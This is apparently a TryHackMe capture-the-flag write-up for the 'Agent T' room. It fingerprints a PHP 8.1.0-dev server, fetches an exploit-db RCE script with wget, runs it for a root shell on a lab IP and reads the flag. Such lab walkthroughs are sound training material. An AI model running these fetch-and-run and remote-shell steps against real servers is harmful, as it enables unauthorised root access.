> For the complete documentation index, see [llms.txt](https://dmdhrumilmistry.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dmdhrumilmistry.gitbook.io/home/blog/tryhackme-writeups/agentt.md).

# Agent T

AgentT room has a weird behaving admin dashboard which isn't operational. Attacker needs to find their way into the server!

## Target Details

* TARGET\_IP : 10.10.71.24
* HTTP service running on Port 80

## Send Request to Target Machine

* Send Get request

  ```bash
  curl -X GET http://{TARGET_IP}

  --snip--
  ```

  > returns webpage html content (basic template from the web)
* Investigate headers

  ```bash
  $ curl -I http://10.10.71.24
  HTTP/1.1 200 OK
  Host: 10.10.71.24
  Date: Sun, 27 Nov 2022 07:57:06 GMT
  Connection: close
  X-Powered-By: PHP/8.1.0-dev
  Content-type: text/html; charset=UTF-8
  ```

  > Now we know that server is running PHP 8.1.0 dev on backend
* Finding for PHP 8.1.0-dev exploits on the web, we get a RCE exploit from [exploit-db](https://www.exploit-db.com/exploits/49933)

## Running Exploit Script

* Download Exploit

  ```bash
  wget https://www.exploit-db.com/download/49933 -O exploit.py
  ```
* Execute Exploit

  ```bash
  $ python3 exploit-t.py 
  Enter the full host url:
  http://{TARGET_IP}

  Interactive shell is opened on http://{TARGET_IP}
  Can't acces tty; job crontol turned off.
  $ whoami
  root
  ```

  > Now we can execute code remotely on the web server as root user

## Get The FLAG!!

* List directories

  ```bash
  $ ls /
  bin
  boot
  dev
  etc
  flag.txt
  home
  lib
  lib64
  media
  mnt
  opt
  proc
  root
  run
  sbin
  srv
  sys
  tmp
  usr
  var
  ```

  > flat.txt is in `/` dir
* Read Flag

  ```bash
  $ cat /flag.txt
  flag{REDACTED}
  ```